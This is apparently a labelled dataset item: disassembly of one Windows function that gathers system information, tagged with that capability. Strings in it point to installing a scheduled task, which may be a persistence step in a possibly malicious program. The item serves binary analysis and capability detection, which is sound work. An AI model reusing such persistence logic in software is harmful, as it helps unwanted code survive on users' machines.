Function at 0x414340
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x42bc61
mov eax, dword fs:[0]
push eax
sub esp, 0xc8
mov eax, dword [0x436650]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [ebp + 8]
mov edx, dword [eax + 8]
sub edx, dword [eax + 4]
xor ebx, ebx
sar edx, 2
xor ecx, ecx
mov dword [ebp - 0x68], eax
mov dword [ebp - 0x6c], edx
mov dword [ebp - 0x58], ecx
cmp edx, ebx
jle 0x4148bb
jmp 0x414397
mov ecx, dword [ebp - 0x58]
mov eax, dword [ebp - 0x68]
mov edx, dword [eax + 0x18]
sub edx, dword [eax + 0x14]
sar edx, 2
cmp ecx, edx
jae 0x4143af
mov edx, dword [eax + 0x14]
mov edx, dword [edx + ecx*4]
mov dword [ebp - 0x60], edx
jmp 0x4143b2
mov dword [ebp - 0x60], ebx
mov edx, dword [eax + 0x28]
sub edx, dword [eax + 0x24]
sar edx, 2
cmp ecx, edx
jae 0x4143ca
mov edx, dword [eax + 0x24]
mov edx, dword [edx + ecx*4]
mov dword [ebp - 0x64], edx
jmp 0x4143cd
mov dword [ebp - 0x64], ebx
mov eax, dword [eax + 4]
mov ecx, dword [eax + ecx*4]
lea edx, [ebp - 0xd0]
mov dword [ebp - 0x5c], ecx
mov dword [ebp - 0xac], ebx
mov dword [ebp - 0xa8], ebx
mov dword [ebp - 0xa0], ebx
mov dword [ebp - 0x9c], ebx
mov dword [ebp - 0x98], ebx
mov dword [ebp - 0x94], ebx
mov dword [ebp - 0x90], ebx
mov dword [ebp - 0x8c], ebx
mov dword [ebp - 0x88], ebx
mov dword [ebp - 0x84], ebx
mov dword [ebp - 0x7c], ebx
mov dword [ebp - 0x78], ebx
mov dword [ebp - 0x74], ebx
mov dword [ebp - 0x70], ebx
test edx, edx
je 0x41445b
push str.GetNativeSystemInfo
push str.kernel32
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp eax, ebx
je 0x41444e
lea ecx, [ebp - 0xd0]
push ecx
call eax
jmp 0x41445b
lea edx, [ebp - 0xd0]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov ax, word [ebp - 0xd0]
cmp ax, 9
je 0x414478
mov dword [ebp - 0xa4], 0x4318f4
cmp ax, 6
jne 0x414482
mov dword [ebp - 0xa4], 0x4318f0
lea esi, [ebp - 0xac]
call fcn.00407400
push 0x10
mov dword [ebp - 4], ebx
call fcn.00416497
add esp, 4
cmp eax, ebx
je 0x4144b2
mov dword [eax + 0xc], 1
mov dword [eax + 4], ebx
mov dword [eax + 8], ebx
mov dword [eax], ebx
mov dword [ebp - 0x54], eax
jmp 0x4144b5
mov dword [ebp - 0x54], ebx
push 0x66
call fcn.0041576e
add esp, 4
push ebx
mov esi, eax
push 0x42efdb
lea ecx, [ebp - 0x30]
mov dword [ebp - 0x50], esi
mov dword [ebp - 0x1c], 0xf
mov dword [ebp - 0x20], ebx
mov byte [ebp - 0x30], bl
call fcn.00403140
push 0x66
push ebx
push esi
mov byte [ebp - 4], 1
call fcn.0041cf90
add esp, 0xc
lea ecx, [ebp - 0xac]
call fcn.00407910
mov ecx, eax
lea esp, [esp]
mov dl, byte [eax]
inc eax
cmp dl, bl
jne 0x414500
mov edx, dword [ebp - 0x50]
sub eax, ecx
mov esi, ecx
lea edi, [edx - 1]
mov cl, byte [edi + 1]
inc edi
cmp cl, bl
jne 0x414511
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [edx - 1]
lea ebx, [ebx]
mov al, byte [edi + 1]
inc edi
cmp al, bl
jne 0x414530
mov ax, word [0x4312f0]
mov word [edi], ax
mov eax, dword [ebp - 0x5c]
mov ecx, eax
mov dl, byte [eax]
inc eax
cmp dl, bl
jne 0x414546
mov edx, dword [ebp - 0x50]
sub eax, ecx
mov esi, ecx
lea edi, [edx - 1]
mov cl, byte [edi + 1]
inc edi
cmp cl, bl
jne 0x414557
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
cmp edx, ebx
je 0x4145cc
mov eax, dword [ebp - 0x50]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x414577
sub eax, edx
lea esi, [eax + 1]
cmp esi, 1
je 0x4145cc
mov ecx, dword [ebp - 0x54]
mov eax, dword [ecx]
cmp eax, ebx
je 0x4145a1
push eax
call fcn.00416430
mov edi, dword [ebp - 0x54]
add esp, 4
mov dword [edi], ebx
jmp 0x4145a4
mov edi, dword [ebp - 0x54]
lea edx, [esi + 1]
push edx
call fcn.0041576e
add esp, 4
push esi
push ebx
push eax
mov dword [edi], eax
call fcn.0041cf90
mov ecx, dword [ebp - 0x50]
mov edx, dword [edi]
add esp, 0xc
mov al, byte [ecx]
mov byte [edx], al
inc ecx
inc edx
cmp al, bl
jne 0x4145c2
cmp dword [ebp - 0x60], ebx
je 0x4145de
mov ebx, dword [ebp - 0x60]
mov edi, dword [ebp - 0x54]
call fcn.00407c60
xor ebx, ebx
mov esi, dword [ebp - 0x64]
mov eax, esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x4145e6
sub eax, edx
push eax
push esi
lea ecx, [ebp - 0x30]
call fcn.00403140
cmp esi, ebx
jne 0x41468c
lea eax, [ebp - 0x4c]
push eax
call fcn.004150d0
mov esi, eax
lea ecx, [ebp - 0x30]
mov edi, 0x10
cmp ecx, esi
je 0x414668
cmp dword [ebp - 0x1c], edi
jb 0x414629
mov edx, dword [ebp - 0x30]
push edx
call fcn.0041643b
add esp, 4
mov dword [ebp - 0x1c], 0xf
mov dword [ebp - 0x20], ebx
mov byte [ebp - 0x30], bl
cmp dword [esi + 0x14], edi
jae 0x41464f
mov eax, dword [esi + 0x10]
inc eax
push eax
lea eax, [ebp - 0x30]
push esi
push eax
call fcn.00416690
add esp, 0xc
jmp 0x414656
mov ecx, dword [esi]
mov dword [ebp - 0x30], ecx
mov dword [esi], ebx
mov edx, dword [esi + 0x10]
mov dword [ebp - 0x20], edx
mov eax, dword [esi + 0x14]
mov dword [ebp - 0x1c], eax
mov dword [esi + 0x10], ebx
mov dword [esi + 0x14], ebx
mov byte [ebp - 4], 1
cmp dword [ebp - 0x38], edi
jb 0x41467d
mov ecx, dword [ebp - 0x4c]
push ecx
call fcn.0041643b
add esp, 4
mov dword [ebp - 0x38], 0xf
mov dword [ebp - 0x3c], ebx
mov byte [ebp - 0x4c], bl
jmp 0x414691
mov edi, 0x10
mov esi, dword [ebp - 0x50]
push 0x66
push ebx
push esi
call fcn.0041cf90
add esp, 0xc
lea eax, [esi - 1]
mov cl, byte [eax + 1]
inc eax
cmp cl, bl
jne 0x4146a3
mov edx, dword [str._Newdd_ddd]
mov dword [eax], edx
mov ecx, dword [0x431fa4]
mov dword [eax + 4], ecx
mov dx, word [0x431fa8]
mov word [eax + 8], dx
mov cl, byte [0x431faa]
mov byte [eax + 0xa], cl
mov eax, dword [ebp - 0x30]
cmp dword [ebp - 0x1c], edi
jae 0x4146db
lea eax, [ebp - 0x30]
mov ecx, eax
lea ecx, [ecx]
mov dl, byte [eax]
inc eax
cmp dl, bl
jne 0x4146e0
mov edx, dword [ebp - 0x50]
sub eax, ecx
mov esi, ecx
lea edi, [edx - 1]
mov cl, byte [edi + 1]
inc edi
cmp cl, bl
jne 0x4146f1
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea eax, [edx - 1]
lea ebx, [ebx]
mov cl, byte [eax + 1]
inc eax
cmp cl, bl
jne 0x414710
mov ecx, dword [str._e3df_TEE]
mov dword [eax], ecx
mov ecx, dword [0x431fb0]
mov dword [eax + 4], ecx
mov cx, word [0x431fb4]
mov word [eax + 8], cx
cmp edx, ebx
je 0x41479a
mov eax, dword [ebp - 0x50]
lea edx, [eax + 1]
mov edi, edi
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x414740
sub eax, edx
lea esi, [eax + 1]
cmp esi, 1
je 0x41479a
mov edx, dword [ebp - 0x54]
mov eax, dword [edx + 8]
cmp eax, ebx
je 0x41476c
push eax
call fcn.00416430
mov edi, dword [ebp - 0x54]
add esp, 4
mov dword [edi + 8], ebx
jmp 0x41476f
mov edi, dword [ebp - 0x54]
lea eax, [esi + 1]
push eax
call fcn.0041576e
add esp, 4
push esi
push ebx
push eax
mov dword [edi + 8], eax
call fcn.0041cf90
mov ecx, dword [ebp - 0x50]
mov edx, dword [edi + 8]
add esp, 0xc
nop
mov al, byte [ecx]
mov byte [edx], al
inc ecx
inc edx
cmp al, bl
jne 0x414790
mov esi, dword [ebp - 0x54]
mov eax, esi
call fcn.00407fd0
push esi
call fcn.00407cd0
mov ecx, dword [0x4388e0]
cmp eax, 1
jne 0x4147ee
cmp ecx, ebx
jne 0x4147e7
push 0x160
call fcn.00416497
add esp, 4
mov dword [ebp - 0x5c], eax
mov byte [ebp - 4], 3
cmp eax, ebx
je 0x4147d9
push eax
call fcn.00411560
jmp 0x4147db
xor eax, eax
mov ecx, eax
mov byte [ebp - 4], 1
mov dword [0x4388e0], ecx
push str.m_action_install_schedtask_suc
jmp 0x414825
cmp ecx, ebx
jne 0x414820
push 0x160
call fcn.00416497
add esp, 4
mov dword [ebp - 0x5c], eax
mov byte [ebp - 4], 4
cmp eax, ebx
je 0x414812
push eax
call fcn.00411560
jmp 0x414814
xor eax, eax
mov ecx, eax
mov byte [ebp - 4], 1
mov dword [0x4388e0], ecx
push str.m_action_install_schedtask_fail
call fcn.00412dd0
cmp esi, ebx
je 0x41486e
mov eax, dword [esi + 4]
cmp eax, ebx
je 0x414841
push eax
call fcn.00416430
add esp, 4
mov dword [esi + 4], ebx
mov eax, dword [esi]
cmp eax, ebx
je 0x414852
push eax
call fcn.00416430
add esp, 4
mov dword [esi], ebx
mov eax, dword [esi + 8]
cmp eax, ebx
je 0x414865
push eax
call fcn.00416430
add esp, 4
mov dword [esi + 8], ebx
push esi
call fcn.0041643b
add esp, 4
mov ecx, dword [ebp - 0x50]
push ecx
call fcn.00416430
add esp, 4
cmp dword [ebp - 0x1c], 0x10
jb 0x41488c
mov edx, dword [ebp - 0x30]
push edx
call fcn.0041643b
add esp, 4
lea esi, [ebp - 0xac]
mov dword [ebp - 0x1c], 0xf
mov dword [ebp - 0x20], ebx
mov byte [ebp - 0x30], bl
mov dword [ebp - 4], 0xffffffff
call fcn.00407ae0
mov eax, dword [ebp - 0x58]
inc eax
mov dword [ebp - 0x58], eax
cmp eax, dword [ebp - 0x6c]
jl 0x414391
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0041637f
mov esp, ebp
pop ebp
ret 4